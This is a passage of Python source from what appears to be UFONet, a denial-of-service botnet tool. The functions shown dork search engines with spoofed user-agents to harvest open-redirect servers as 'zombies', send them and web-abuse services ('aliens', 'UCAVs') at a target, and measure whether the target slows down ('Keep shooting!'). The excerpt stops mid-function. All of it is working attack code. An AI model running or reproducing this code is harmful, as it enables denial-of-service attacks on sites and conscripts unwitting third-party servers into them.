  2648. try:
  2649. webbrowser.open('http://127.0.0.1:9999', new=1)
  2650. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2651. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2652. tcpsock.bind((host,port))
  2653. while True:
  2654. tcpsock.listen(4)
  2655. (clientsock, (ip, port)) = tcpsock.accept()
  2656. newthread = ClientThread(ip, port, clientsock)
  2657. newthread.start()
  2658. except (KeyboardInterrupt, SystemExit):
  2659. sys.exit()
  2660. def extract_dorks(self):
  2661. # extract dorks from file (ex: 'dorks.txt')
  2662. try:
  2663. f = open(self.dorks_file)
  2664. dorks = f.readlines()
  2665. dorks = [ dork.replace('\n','') for dork in dorks ]
  2666. f.close()
  2667. if not dorks:
  2668. if not options.autosearch:
  2669. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2670. return
  2671. else:
  2672. return dorks
  2673. except:
  2674. if not options.autosearch:
  2675. if os.path.exists(self.dorks_file) == True:
  2676. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2677. return #sys.exit(2)
  2678. else:
  2679. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2680. return #sys.exit(2)
  2681. else:
  2682. return
  2683. def search_zombies(self, dork, zombies_found):
  2684. # crawlering on search engine results to extract zombies
  2685. options = self.options
  2686. zombies = []
  2687. if not options.engine: # default search engine
  2688. options.engine = 'duck'
  2689. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2690. url = 'https://www.bing.com/search?'
  2691. if options.search: # search from query
  2692. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2693. if options.dorks or options.autosearch: # search from a dork
  2694. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2695. start = 0 # set index number of first entry
  2696. query_string = { 'q':q, 'first':start }
  2697. data = urllib.parse.urlencode(query_string)
  2698. url = url + data
  2699. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2700. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2701. if options.verbose:
  2702. print("[Info] [AI] Query used: " + url)
  2703. print("\n" + '-'*44 + '\n')
  2704. try:
  2705. if options.proxy: # set proxy
  2706. self.proxy_transport(options.proxy)
  2707. req = urllib.request.Request(url, None, headers)
  2708. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2709. except:
  2710. print('[Error] [AI] Unable to connect to: bing\n')
  2711. if options.allengines or options.autosearch:
  2712. return
  2713. if not options.dorks or not options.autosearch:
  2714. if not self.options.forceyes:
  2715. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2716. else:
  2717. update_reply = "Y"
  2718. if update_reply == "n" or update_reply == "N":
  2719. return #sys.exit(2)
  2720. print("\nSearch engines available:")
  2721. print('-'*25)
  2722. for e in self.search_engines:
  2723. print("+ "+e)
  2724. print('-'*25)
  2725. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2726. return #sys.exit(2)
  2727. else:
  2728. req_reply = ''
  2729. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2730. pattern = re.compile(regex)
  2731. url_links = re.findall(pattern, req_reply)
  2732. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2733. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2734. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2735. location = str(random.choice(location).strip()) # shuffle location
  2736. if location == "jp": # [28/02/2019]
  2737. url = 'https://search.yahoo.co.jp/search?'
  2738. else:
  2739. url = 'https://'+location+'.search.yahoo.com/search?'
  2740. if options.search: # search from query
  2741. if location == "jp":
  2742. q = '"' + str(options.search) + '"' # set query to search literally on results
  2743. else:
  2744. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2745. if options.dorks or options.autosearch: # search from a dork
  2746. if location == "jp":
  2747. q = '"' + str(dork) + '"' # set query to search literally on results
  2748. else:
  2749. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2750. start = 0 # set index number of first entry
  2751. query_string = { 'p':q, 'b':start }
  2752. data = urllib.parse.urlencode(query_string)
  2753. url = url + data
  2754. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2755. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2756. if options.verbose:
  2757. print(("Query used: " + url + "\n"))
  2758. try:
  2759. if options.proxy: # set proxy
  2760. self.proxy_transport(options.proxy)
  2761. req = urllib.request.Request(url, None, headers)
  2762. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2763. except:
  2764. print('[Error] [AI] Unable to connect to: yahoo\n')
  2765. if options.allengines or options.autosearch:
  2766. return
  2767. if not options.dorks or not options.autosearch:
  2768. if not self.options.forceyes:
  2769. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2770. else:
  2771. update_reply = "Y"
  2772. if update_reply == "n" or update_reply == "N":
  2773. return #sys.exit(2)
  2774. print("\nSearch engines available:")
  2775. print('-'*25)
  2776. for e in self.search_engines:
  2777. print("+ "+e)
  2778. print('-'*25)
  2779. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2780. return #sys.exit(2)
  2781. else:
  2782. req_reply = ''
  2783. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2784. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2785. pattern = re.compile(regex)
  2786. url_links = re.findall(pattern, req_reply)
  2787. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2788. url = 'https://duckduckgo.com/html/'
  2789. if options.search: # search from query
  2790. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2791. if options.dorks or options.autosearch: # search from a dork
  2792. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2793. query_string = { 'q':q }
  2794. data = urllib.parse.urlencode(query_string)
  2795. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2796. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2797. if options.verbose:
  2798. print("Query used: " + url + " (POST: "+ data + ")\n")
  2799. try:
  2800. if options.proxy: # set proxy
  2801. self.proxy_transport(options.proxy)
  2802. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2803. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2804. except:
  2805. print('[Error] [AI] Unable to connect to: duck\n')
  2806. if options.allengines or options.autosearch:
  2807. return
  2808. if not options.dorks or not options.autosearch:
  2809. if not self.options.forceyes:
  2810. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2811. else:
  2812. update_reply = "Y"
  2813. if update_reply == "n" or update_reply == "N":
  2814. return #sys.exit(2)
  2815. print("\nSearch engines available:")
  2816. print('-'*25)
  2817. for e in self.search_engines:
  2818. print("+ "+e)
  2819. print('-'*25)
  2820. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2821. return #sys.exit(2)
  2822. else:
  2823. req_reply = ''
  2824. regex = 'snippet" href="(.+?)">' # regex magics
  2825. pattern = re.compile(regex)
  2826. url_links = re.findall(pattern, req_reply)
  2827. else: # no valid search engine
  2828. print('[Error] [AI] This search engine is not supported!\n')
  2829. if not options.dorks or options.autosearch:
  2830. if not self.options.forceyes:
  2831. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2832. else:
  2833. update_reply = "Y"
  2834. if update_reply == "n" or update_reply == "N":
  2835. return #sys.exit(2)
  2836. print("\nSearch engines available:")
  2837. print('-'*25)
  2838. for e in self.search_engines:
  2839. print("+ "+e)
  2840. print('-'*25)
  2841. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2842. return #sys.exit(2)
  2843. else:
  2844. req_reply = ''
  2845. if options.num_results: # set number of results to search
  2846. try:
  2847. num = int(options.num_results)
  2848. except:
  2849. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2850. num = 10
  2851. else:
  2852. num = 10
  2853. total_results = 1
  2854. for url in url_links: # general parse on urls
  2855. if int(num) < int(total_results):
  2856. break
  2857. if options.engine == "bing":
  2858. if " h=" in url: # regex magics [18/08/2016]
  2859. url = url.rsplit('" h=',1)[0]
  2860. if options.engine == "yahoo":
  2861. if 'RU=' in url: # regex magics [18/08/2016]
  2862. url = url.rsplit('RU=',1)[1]
  2863. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2864. url = url.rsplit('UTF-8&u=',1)[1]
  2865. total_results = total_results + 1 # results counter
  2866. url_link = urllib.parse.unquote(url) # unquote encoding
  2867. if options.search:
  2868. sep = str(options.search)
  2869. if options.dorks or options.autosearch:
  2870. sep = str(dork)
  2871. url_link = url_link.rsplit(sep, 1)[0] + sep
  2872. if 'href="' in url_link:
  2873. url_link = url_link.rsplit('href="', 1)[1]
  2874. if "instreamset" in url_link: # invalid zombie
  2875. url_link = "" # discarded
  2876. if '" ' in url_link:
  2877. url_link = url_link.rsplit('" ', 1)[1]
  2878. if options.engine in url_link:
  2879. url_link = "" # discarded
  2880. if 'http' not in url_link:
  2881. url_link = "" # discarded
  2882. else:
  2883. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2884. print('+Victim found: ' + url_link)
  2885. print('-'*12)
  2886. zombies.append(url_link)
  2887. else:
  2888. pass
  2889. if len(zombies) == 0: # print dorking results
  2890. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2891. if not options.dorks:
  2892. if not options.autosearch:
  2893. if not self.options.forceyes:
  2894. return #sys.exit(2)
  2895. print("\n" + '-'*44 + '\n')
  2896. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2897. return zombies
  2898. def check_nat(self):
  2899. # check for NAT configuration
  2900. options = self.options
  2901. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2902. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2903. check_ip_service = None
  2904. if not tor_reply or 'Congratulations' not in tor_reply:
  2905. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2906. else:
  2907. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2908. self.nat_error_flag = "ON"
  2909. return #sys.exit(2)
  2910. try:
  2911. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2912. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2913. check_ip_service = self.check_ip_service1
  2914. except:
  2915. try: # another check for public ip
  2916. data = str(urlopen(self.check_ip_service2).read())
  2917. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2918. check_ip_service = self.check_ip_service2
  2919. except:
  2920. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2921. self.nat_error_flag = "ON"
  2922. return
  2923. t = urlparse(check_ip_service)
  2924. name_service = t.netloc
  2925. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2926. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2927. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2928. self.local_ip = s.getsockname()[0]
  2929. print(" + Local: " + self.local_ip + "\n")
  2930. print('='*22 + '\n')
  2931. def extract_ucavs(self):
  2932. # extract ucavs from file
  2933. options = self.options
  2934. try:
  2935. f = open(self.ucavs_file)
  2936. ucavs = f.readlines()
  2937. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2938. f.close()
  2939. if not ucavs:
  2940. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2941. self.options.disableucavs = True
  2942. return
  2943. else:
  2944. return ucavs
  2945. except:
  2946. if os.path.exists(self.ucavs_file) == True:
  2947. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2948. return #sys.exit(2)
  2949. else:
  2950. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2951. return #sys.exit(2)
  2952. def discarding_ucavs(self, ucav, ucavs):
  2953. if ucav in self.discard_ucavs:
  2954. ucavs.remove(ucav)
  2955. if self.options.verbose:
  2956. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2957. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2958. return ucavs
  2959. def send_ucavs(self, ucavs):
  2960. # extract external status checkers, perform a request and check results
  2961. time.sleep(5) # aiming (multi-threading flow time compensation)
  2962. if not self.options.disablepurge:
  2963. if not ucavs: # return when not any working
  2964. self.options.disableucavs = True
  2965. return
  2966. options = self.options
  2967. target = self.options.target
  2968. shuffle(ucavs) # shuffle ucavs order, each round :-)
  2969. if not self.options.disablepurge:
  2970. for ucav in ucavs:
  2971. if not ucav.startswith('http'): # discarded inmediately
  2972. self.discard_ucavs.append(ucav)
  2973. self.num_discard_ucavs = self.num_discard_ucavs + 1
  2974. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  2975. if not self.options.disablepurge:
  2976. if not ucavs: # return when not any working
  2977. self.options.disableucavs = True
  2978. return
  2979. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  2980. for ucav in ucavs:
  2981. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2982. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2983. if target.startswith("http://"): # parse target for some checkers
  2984. target = target.replace('http://','')
  2985. elif target.startswith("https://"):
  2986. target = target.replace('https://','')
  2987. url = ucav + target
  2988. t = urlparse(ucav)
  2989. name_ucav = t.netloc
  2990. if name_ucav == "":
  2991. name_ucav = ucav
  2992. if options.verbose:
  2993. print(("[Info] [UCAVs] Sniping: " + url))
  2994. try:
  2995. if options.proxy: # set proxy
  2996. self.proxy_transport(options.proxy)
  2997. if options.timeout: # set timeout
  2998. ucav_timeout = options.timeout
  2999. else:
  3000. ucav_timeout = 5
  3001. if ucav_timeout < 1:
  3002. ucav_timeout = 5
  3003. req = urllib.request.Request(url, None, headers)
  3004. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  3005. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  3006. except:
  3007. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  3008. if not self.options.disablepurge:
  3009. self.discard_ucavs.append(ucav)
  3010. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3011. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3012. target_reply = ""
  3013. if target_reply == "": # check for target's status resolved by [UCAVs]
  3014. pass
  3015. else:
  3016. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3017. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3018. self.num_is_up = self.num_is_up + 1
  3019. else:
  3020. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3021. self.num_is_down = self.num_is_down + 1
  3022. if self.options.verbose:
  3023. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3024. self.extra_zombies_lock = False # [ARMY] have finished
  3025. def extract_median(self, num_list):
  3026. # extract median from a list of numbers
  3027. import statistics
  3028. int_num = []
  3029. for num in num_list:
  3030. num = float(num)
  3031. int_num.append(num)
  3032. return statistics.median(int_num)
  3033. def check_is_loading(self, target):
  3034. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3035. self.start = None
  3036. self.stop = None
  3037. print('\n---------')
  3038. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3039. if target.endswith(""):
  3040. target.replace("", "/")
  3041. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3042. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3043. try:
  3044. req = urllib.request.Request(target, None, headers)
  3045. if self.options.proxy: # set proxy
  3046. self.proxy_transport(self.options.proxy)
  3047. if self.options.timeout: # set timeout
  3048. try:
  3049. timeout = int(self.options.timeout)
  3050. except:
  3051. timeout = 5
  3052. else:
  3053. timeout = 5
  3054. if timeout < 1:
  3055. timeout = 5
  3056. self.start = time.time()
  3057. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3058. header = urllib.request.urlopen(req, context=self.ctx).info()
  3059. self.stop = time.time()
  3060. except:
  3061. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3062. return
  3063. try:
  3064. s, size_name = self.convert_size(len(target_reply))
  3065. self.loadcheck_size_list.append(s) # add record to size list
  3066. size = '%s %s' % (s,size_name)
  3067. except:
  3068. size = "Error!"
  3069. try:
  3070. time_required = self.stop - self.start
  3071. load = self.convert_time(time_required)
  3072. self.loadcheck_load_list.append(load) # add record to load list
  3073. except:
  3074. load = "Error!"
  3075. self.loadcheck_counter = self.loadcheck_counter + 1
  3076. print(' -Total tests:', self.loadcheck_counter, "\n")
  3077. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3078. lsm = self.extract_median(self.loadcheck_size_list)
  3079. if lsm is not None:
  3080. self.loadcheck_size_median = str(lsm) + " " + size_name
  3081. else:
  3082. self.loadcheck_size_median = None
  3083. llm = self.extract_median(self.loadcheck_load_list)
  3084. if llm is not None:
  3085. self.loadcheck_load_median = str(llm) + " seconds"
  3086. else:
  3087. self.loadcheck_load_median = None
  3088. if self.loadcheck_counter == 2: # first round
  3089. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3090. print(' -Bytes in (this round) :', size)
  3091. if self.loadcheck_size_median is not None:
  3092. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3093. print(' ----')
  3094. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3095. print(' -Load time (this round) :', load, "seconds")
  3096. if self.loadcheck_load_median is not None:
  3097. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3098. else:
  3099. print("\n")
  3100. self.loadcheck_size_max = None
  3101. self.loadcheck_size_min = None
  3102. self.loadcheck_load_max = None
  3103. self.loadcheck_load_min = None
  3104. elif self.loadcheck_counter > 2: # rest of rounds
  3105. lsmax = max(self.loadcheck_size_list)
  3106. if lsmax is not None:
  3107. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3108. else:
  3109. self.loadcheck_size_max = None
  3110. lsmin = min(self.loadcheck_size_list)
  3111. if lsmin is not None:
  3112. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3113. else:
  3114. self.loadcheck_size_min = None
  3115. llmax = max(self.loadcheck_load_list)
  3116. if llmax is not None:
  3117. self.loadcheck_load_max = str(llmax) + " seconds"
  3118. else:
  3119. self.loadcheck_load_max = None
  3120. llmin = min(self.loadcheck_load_list)
  3121. if llmin is not None:
  3122. self.loadcheck_load_min = str(llmin) + " seconds"
  3123. else:
  3124. self.loadcheck_load_min = None
  3125. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3126. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3127. print(' -Bytes in (this round) :', size)
  3128. if self.loadcheck_size_max is not None:
  3129. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3130. if self.loadcheck_size_min is not None:
  3131. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3132. if self.loadcheck_size_median is not None:
  3133. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3134. print(' ----')
  3135. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3136. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3137. print(' -Load time (this round) :', load, "seconds")
  3138. if self.loadcheck_load_max is not None:
  3139. print(' -Load time (max) :', self.loadcheck_load_max)
  3140. if self.loadcheck_load_min is not None:
  3141. print(' -Load time (min) :', self.loadcheck_load_min)
  3142. if self.loadcheck_load_median is not None:
  3143. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3144. else:
  3145. print("\n")
  3146. if self.loadcheck_prev_load < load: # target is loading more slowly
  3147. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3148. elif self.loadcheck_prev_load == load: # inmutable target
  3149. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3150. elif self.loadcheck_prev_load > load: # is target defending?
  3151. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3152. else:
  3153. print(' -Bytes in (this round) :', size)
  3154. print(' -Load time (this round):', load, "seconds\n")
  3155. self.loadcheck_first_size = size
  3156. self.loadcheck_first_load = load
  3157. self.loadcheck_size_median = None
  3158. self.loadcheck_load_median = None
  3159. self.loadcheck_size_max = None
  3160. self.loadcheck_size_min = None
  3161. self.loadcheck_load_max = None
  3162. self.loadcheck_load_min = None
  3163. self.loadcheck_prev_size = size # record previous size
  3164. self.loadcheck_prev_load = load # record previous load
  3165. def convert_size(self, size):
  3166. if (size == 0):
  3167. return '0 B'
  3168. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3169. i = int(math.floor(math.log(size,1024)))
  3170. p = math.pow(1024,i)
  3171. s = round(size/p,2)
  3172. return s, size_name[i]
  3173. def convert_time(self, time):
  3174. return '%.2f' % time
  3175. def discarding_zombies(self, zombie, zombies):
  3176. if zombie in self.discardzombies:
  3177. zombies.remove(zombie)
  3178. if self.options.verbose:
  3179. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3180. return zombies
  3181. def send_zombies(self, zombies):
  3182. # send Open Redirect zombies
  3183. time.sleep(1) # aiming (multi-threading flow time compensation)
  3184. if not self.options.disablepurge:
  3185. if not zombies:
  3186. self.empty_zombies = True
  3187. return
  3188. if self.options.verbose:
  3189. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3190. options = self.options
  3191. target = self.options.target
  3192. shuffle(zombies) # shuffle zombies order, each round :-)
  3193. if not self.options.disablepurge:
  3194. for zombie in zombies: # check if zombie is failing for autobalance army
  3195. if not zombie.startswith('http'): # discarded inmediately
  3196. self.discardzombies.append(zombie)
  3197. self.num_discard_zombies = self.num_discard_zombies + 1
  3198. zombies = self.discarding_zombies(zombie, zombies)
  3199. if not self.options.disablepurge:
  3200. if not zombies: # return when not any working
  3201. self.empty_zombies = True
  3202. return
  3203. for zombie in zombies:
  3204. t = urlparse(zombie)
  3205. name_zombie = t.netloc
  3206. if name_zombie == "":
  3207. name_zombie = zombie
  3208. if not self.options.attackme:
  3209. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3210. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3211. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3212. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3213. self.options.target = target
  3214. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3215. print("[Info] [Zombies] Payload: " + target)
  3216. print('='*55, "\n")
  3217. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3218. if not options.target.startswith('http'):
  3219. if options.forcessl:
  3220. options.target = "https://" + options.target
  3221. else:
  3222. options.target = "http://" + options.target
  3223. self.attack_mode = True
  3224. try:
  3225. if options.verbose:
  3226. print("[Info] [Zombies] Sniping: " + options.target)
  3227. self.connect_zombies(zombie)
  3228. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3229. self.db_flash = self.db_flash + 1
  3230. stress = self.stressing(target, zombie)
  3231. except Exception:
  3232. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3233. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3234. if not self.options.disablepurge:
  3235. self.discardzombies.append(zombie)
  3236. self.num_discard_zombies = self.num_discard_zombies + 1
  3237. if self.options.verbose:
  3238. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3239. self.attack_mode = False
  3240. def discarding_aliens(self, alien, aliens):
  3241. if alien in self.discard_aliens:
  3242. aliens.remove(alien)
  3243. if self.options.verbose:
  3244. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3245. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3246. return aliens
  3247. def send_aliens(self, aliens):
  3248. # extract external web abuse services urls (POST) and perform requests against target
  3249. time.sleep(2) # aiming (multi-threading flow time compensation)
  3250. if not self.options.disablepurge:
  3251. if not aliens: # return when not any working
  3252. self.options.disablealiens = True
  3253. return
  3254. target = self.options.target
  3255. options = self.options
  3256. shuffle(aliens) # shuffle aliens
  3257. if not self.options.disablepurge:
  3258. for alien in aliens:
  3259. if not alien.startswith('http'): # discarded inmediately
  3260. self.discard_aliens.append(alien)
  3261. self.num_discard_aliens = self.num_discard_aliens + 1
  3262. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3263. if not self.options.disablepurge:
  3264. if not aliens: # return when not any working
  3265. self.options.disablealiens = True
  3266. return
  3267. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3268. for alien in aliens:
  3269. name_alien = None
  3270. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3271. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3272. pattern_alien = re.compile(regex_alien)
  3273. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3274. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3275. pattern_param = re.compile(regex_param)
  3276. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3277. for u in alien_url:
  3278. url = u # ex: POST -> path/submit.php
  3279. t = urlparse(url)
  3280. name_alien = t.netloc
  3281. if name_alien == "":
  3282. name_alien = alien
  3283. print("[Info] [Aliens] Attacking from: " + name_alien)
  3284. for p in param:
  3285. param_target = {p : target} # ex POST -> url=target
  3286. param_target = urllib.parse.urlencode(param_target)
  3287. try:
  3288. if options.verbose:
  3289. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3290. if options.proxy: # set proxy
  3291. self.proxy_transport(options.proxy)
  3292. if self.options.timeout: # set timeout
  3293. try:
  3294. alien_timeout = int(self.options.timeout)
  3295. except:
  3296. alien_timeout = 5
  3297. else:
  3298. alien_timeout = 5
  3299. if alien_timeout < 1:
  3300. alien_timeout = 5
  3301. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3302. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3303. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3304. except Exception:
  3305. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3306. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3307. if not self.options.disablepurge:
  3308. self.discard_aliens.append(alien)
  3309. self.num_discard_aliens = self.num_discard_aliens + 1
  3310. else:
  3311. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3312. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3313. if not self.options.disablepurge:
  3314. self.discard_aliens.append(alien)
  3315. self.num_discard_aliens = self.num_discard_aliens + 1
  3316. if self.options.verbose:
  3317. if name_alien:
  3318. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3319. else:
  3320. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3321. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3322. self.extra_zombies_lock = False # [ARMY] have finished
  3323. def extract_aliens(self):
  3324. # extract aliens from file
  3325. options = self.options
  3326. try:
  3327. f = open(self.aliens_file)
  3328. aliens = f.readlines()
  3329. aliens = [ alien.replace('\n','') for alien in aliens ]
  3330. f.close()
  3331. if not aliens:
  3332. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3333. self.options.disablealiens = True
  3334. return
  3335. else:
  3336. return aliens
  3337. except:
  3338. if os.path.exists(self.aliens_file) == True:
  3339. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3340. return #sys.exit(2)
  3341. else:
  3342. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3343. return #sys.exit(2)
  3344. def discarding_droids(self, droid, droids):
  3345. if droid in self.discard_droids:
  3346. droids.remove(droid)
  3347. if self.options.verbose:
  3348. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3349. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3350. return droids
  3351. def send_droids(self, droids):
  3352. # extract external web abuse services urls (GET) and perform requests against target
  3353. time.sleep(3) # aiming (multi-threading flow time compensation)
  3354. if not self.options.disablepurge:
  3355. if not droids: # return when not any working
  3356. self.options.disabledroids = True
  3357. return
  3358. target = self.options.target
  3359. try:
